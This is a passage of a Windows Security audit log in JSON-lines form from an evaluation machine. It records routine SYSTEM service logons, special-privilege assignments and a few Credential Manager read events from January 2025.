AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:38.096345Z"}},"EventRecordID":21505,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:38.096349Z"}},"EventRecordID":21506,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:40.046027Z"}},"EventRecordID":21507,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":6124}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:40.046034Z"}},"EventRecordID":21508,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":6124}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:42.240607Z"}},"EventRecordID":21509,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":6124}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:42.240611Z"}},"EventRecordID":21510,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":6124}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:54.193804Z"}},"EventRecordID":21511,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:54.193811Z"}},"EventRecordID":21512,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:54.209969Z"}},"EventRecordID":21513,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:54.209973Z"}},"EventRecordID":21514,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:55.075113Z"}},"EventRecordID":21515,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:55.075118Z"}},"EventRecordID":21516,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:55.520027Z"}},"EventRecordID":21517,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":6124}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:55.520033Z"}},"EventRecordID":21518,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":6124}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:17:13.450616Z"}},"EventRecordID":21519,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:17:13.450622Z"}},"EventRecordID":21520,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:17:46.796877Z"}},"EventRecordID":21521,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":6124}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:17:46.796887Z"}},"EventRecordID":21522,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":6124}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:17:46.926705Z"}},"EventRecordID":21523,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:(token):name=02mrmaiylzkexzqu;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:17:46.797878Z","ClientProcessId":8960}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:17:46.926949Z"}},"EventRecordID":21524,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:(cert):name=02mrmaiylzkexzqu;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:17:46.797878Z","ClientProcessId":8960}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:17:46.927016Z"}},"EventRecordID":21525,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:target=virtualapp/didlogical","Type":0,"CountOfCredentialsReturned":1,"ReadOperation":"%%8100","ReturnCode":0,"ProcessCreationTime":"2025-01-03T21:17:46.797878Z","ClientProcessId":8960}}}
